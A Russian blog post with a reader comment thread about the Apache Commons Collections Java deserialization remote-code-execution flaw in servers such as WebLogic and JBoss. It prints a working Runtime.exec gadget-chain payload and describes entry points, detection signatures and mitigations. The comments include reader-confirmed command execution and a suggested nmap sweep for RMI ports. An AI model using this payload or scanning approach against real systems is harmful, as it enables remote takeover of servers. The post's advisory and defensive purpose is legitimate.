Критическая уязвимость в ряде Java Application Server


    Вчера в блоге Apache FSF появилась интересная запись. Уязвимым оказалось практически все ПО, которое использует сериализацию и десереализацию данных совместно с apache commons collections и некоторыми другими библиотеками.
    Сама уязвимость была описана 6 ноября, а сегодня Oracle выпустил первые патчи к WebLogic.

    Кратко


    Тип: Удаленное исполнение кода
    Опасность: высокая
    Уязвимое ПО: Oracle WebLogic, IBM WebSphere, JBoss, Jenkins, OpenNMS и другое ПО с commons collections в classpath.
    Описание: Уязвимость позволяет злоумышленнику создать такой пакет сериализованных данных, который при распаковке заставит уязвимый сервер исполнить произвольный код.

    Подробно


    Факты

    1. В Java, как и во многих других языках, существует механизм под названием serialization/deserialization, превращающий java-объект в последовательность байт и обратно. Он используется для передачи объектов, например через RMI или http cookie.
    2. В библиотеке commons collections существует ряд классов ( *Transformer ), которые можно сериализовать
    3. При некоторых условиях при десереализации InvokerTransformer может исполнить код
    4. Библиотека commons-collections используется в огромном количестве проектов, включая application servers указанные выше
    5. Для эксплуатации достаточно иметь данные классы в classpath, использовать ее в своем приложении не обязательно

    Payload

    Данный пример я честно скопировал из оригинальной статьи и снабдил своими комментариями, они наглядно показывают суть проблемы.

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);    
        return handler;
    }
    

    Код генерирует объект, десериализация которого приведет к исполнению кода.
    Все дело в том, как упаковывается InvokerTransformer, который при распаковке цепочки трансформеров и вызовет Runtime.getRuntime().exec(new String[] { command }), что приведет к исполнению кода в операционной системе.

    Комментарий от tbl:
    У InvokerTransformer нет дефолтного конструктора, там все запутанее: у PriorityQueue в readObject() есть вызов compare у объекта, в качестве которого передаётся экземпляр TransformerComparator'а, который в свою очередь вызывает метод transform() у переданного InvokerTransformer. А там уже Method.invoke(), которому передаётся трэш, угар и содомия, например, Runtime.getRuntime().exec().

    Так что надо искать не дефолтные конструкторы, а readObject(), которые вызывают интерфейсные методы, реализации которых где-то там в глубине стека вызывают invoke()


    Для эксплуатации достаточно сериализовать полученный объект через java.io.ObjectOutputStream и передать его по используемому протоколу.

    Примеры эксплуатации представлены в оригинальной статье, сам PoC лежит тут.

    Workaround


    Для успешной эксплуатации достаточно найти удаленный сервис, который принимает на вход сериализованные данные.

    Потенциально уязвимые места:
    • HTTP запросы – параметры, cookie, ViewState'ы, заголовки итд
    • RMI и RMI over HTTP
    • JMX
    • Собственные протоколы, передающие сериализованные объекты

    Для поиска подобных объектов в трафике своих серверов можно воспользоваться сниффером и поискать последовательность байт "ac ed 00 05 73 72", которая является заголовком любого сериализованного объекта. Не забывайте, что объект может быть обернут в base64 или другое кодирование, в зависимости от типа системы. После нахождения сервисов, принимающих такие объекты, очень желательно изолировать их от внешней сети. Тем временем RedHat Security предлагает просто удалить «вредные» классы из jar-файлов.

    P.S. А лучше не используйте сериализацию для внешних данных, ведь никому не известно, сколько еще таких «Трансформеров» существует.
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 32

      +1
      По поводу ViewState: ни в коем случае в web.xml не делать так:
      <context-param>
          <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
          <param-value>client</param-value>
      </context-param>
      


      Кстати, Spring и Groovy тоже под ударом, судя по этому.
        0
        … 10 month ago (судя по истории git репозитория)
          +1
          Судя по этой январской презентации, Ruby, PHP, Python имеют аналогичные проблемы с десериализацией данных, полученных от недоверенных источников.
        +1
        Java сериализация давно уж как моветон
          +3
          Расскажите это какому-нибудь JSF :)
          +1
          А можно узнать почему? Или вы так неудачно сократили «Java сериализация (для обмена данными с внешними ресурсами) давно уж как моветон»?
            +1
            Даже внутри распределенного java приложения не часто выбирают java сериализацию из-за производительности, совместимости разных версий объекта, объема данных и прочих связанных с стандартной сериализацией проблем. Достаточно бенчмарков и материалов на тему сериализации
              0
              О, кстати. У нас тут через JMS передаются объекты (в основном byte[], String и классы, отнаследованные от пары интерфейсов). Что из быстрого использовать вместо сериализации?
                0
                не знаю как с jms, а с Solace API некоторые компании успешно используют avro/protobuff
          0
          Отлично, коротко и по делу!

          Я так понимаю, проблему не тяжело пофиксить через Security Manager, или кастомный class loader. Общая практика — надо описать разрешённые для загрузки классы (именно загрузка, а не сериализация) и запретить все остальные. Мало ли в какой библиотеке, какая дырка ещё не найдена.
            +1
            Этакий WAF для Java? Да, интересно, но только внутри той-же сферы сотни тысяч классов. И еще какие-то генерятся в памяти ORM'ами.
            И таки да, сериализуются туда-сюда.
              0
              Согласен, хотя WAF реализовать и легко, толково наполнить разрешениями уже посложнее. Просто у меня перед глазами мой маленький проект с небольшим числом гуляющих по сети классов. Не люблю я энтерпрайз-решения.
              +1
              Общая практика

              Общая хорошая практика в Java не использовать сериализацию для любых внешних запросов, когда есть Rest, Soup и иже с ними. За десяток лет в Java энтерпрайзе не разу не видел случая использования сериализации для обмена данными с внешними системами и считал само собой разумеющимся, что прием сериализационных классов из недостоверных источников небезопасный от слова совсем.
                +1
                nmap -p 1099 anynet/anymask

                Я думаю достаточно найдется :)

                P.S. Парсер лох
                  0
                  Т.е. вы за «сериализовать только java.lang.String»? Хороший, строгий частный случай ;)
                    +6
                    Нет, я за то чтобы передавать не бинарные объекты, а json или xml, если речь не идет о модулях одной системы. Зачем придумывать хитрые песочницы, которые все равно могут протекать, если намного проще вообще не запускать непонятно от кого исполняемые файлы. Вроде бы пользователи уже привыкли не запускать непонятные exe'шники, какие совершенные антивирусы их не проверили, зачем делать такую же ошибку на сервере? Или другими словами, логичнее стрелять холостыми, чем стрелять боевыми в бронежелет, надеясь что он достаточно крепкий.
                0
                Либо я чего-то не понимаю, но что мешает взять любой протокол, который использует сериализацию/десериализацию, посмотреть какие классы ходят и сделать override default constructor/readObject и там написать что надо. Только нужно чуть больше работы, чем просто взять exploit для commons-collections
                  +1
                  То что при сериализации сериализуются поля, но не методы. При десериализации вызывается конструктор по-умолчанию. А классов на стороне сервера, у которых конструктор может что-то исполнить вот такое, их почти и нету. Собственно InvokerTransformer и есть один из таких классов.
                    +1
                    Вы правы — я глупость написал.
                      +1
                      У InvokerTransformer нет дефолтного конструктора, там все запутанее: у PriorityQueue в readObject() есть вызов compare у объекта, в качестве которого передаётся экземпляр TransformerComparator'а, который в свою очередь вызывает метод transform() у переданного InvokerTransformer. А там уже Method.invoke(), которому передаётся трэш, угар и содомия, например, Runtime.getRuntime().exec().

                      Так что надо искать не дефолтные конструкторы, а readObject(), которые вызывают интерфейсные методы, реализации которых где-то там в глубине стека вызывают invoke()
                        +1
                        О, спасибо. Можно добавить в статью?
                          +1
                          Добавляй
                    0
                    Red Hat уже выпустили «пресс-релиз» по данной проблеме.
                      0
                      > "...remove the «risky» class files (InvokerTransformer, InstantiateFactory, and InstantiateTransfromer) in all commons-collections jars used by your app".

                      Ещё из spring'а (если используете в своих приложениях) выкинуть org.springframework.beans.factory.support.AutowireUtils, ну может ещё чего найдёте (наверняка есть что-то в классах, обслуживающих xml-конфигурацию приложения). Правда, IoC в Spring после этого вряд ли взлетит.
                      +1
                      Странно. Хотел попробовать прогнать этот эксплоид на нашем приложении, но что-то пошло не так.

                      Даже если я просто создаю объект, как написано в статье, сериализую его, а потом тут же десериализую, то получаю ошибку десериализации:

                      Stacktrace
                      Exception in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
                      	at com.sun.proxy.$Proxy0.entrySet(Unknown Source)
                      	at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:443)
                      	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
                      	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
                      	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
                      	at java.lang.reflect.Method.invoke(Method.java:606)
                      	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
                      	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
                      	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
                      	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
                      	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
                      	at ru.krista.exploid.Exploid1.deserialize(Exploid1.java:113)
                      	at ru.krista.exploid.Exploid1.send(Exploid1.java:75)
                      	at ru.krista.exploid.Exploid1.main(Exploid1.java:30)
                      



                      Есть подозрение, что код специально подпорчен. Но вот где ошибка — понять не могу.
                        0
                        Берите лучше отсюда рабочий код.
                        +1
                        Если будет во viewstate инжектить, то вот удобная утилита для снятия дампов с viewstate

                          +1
                          Спасибо. К счастью ViewState'а у нас нету. Но вот то, что в Wildfly все коммуникации повесили на один порт (и http и EJB) — неприятно. Пытаюсь сообразить какие могут быть вектора атаки с учётом нашей инфраструктуры. Но для этого надо иметь на руках рабочий экспоид.
                          +1
                          Всё. С помощью автора разобрался.

                          Оказывается ошибка и должна быть. Но она происходит уже после срабатывания уязвимости. Просто я неудачную команду для выполнения выбрал.

                          echo test > /tmp/hacked.txt
                          

                          Не работает. А вот

                          touch /tmp/hacked
                          

                          уже отрабатывает.
                            0
                            А, ну шелловскую строку пытались выполнить, надо было /bin/bash -e '...' использовать

                        Only users with full accounts can post comments. Log in, please.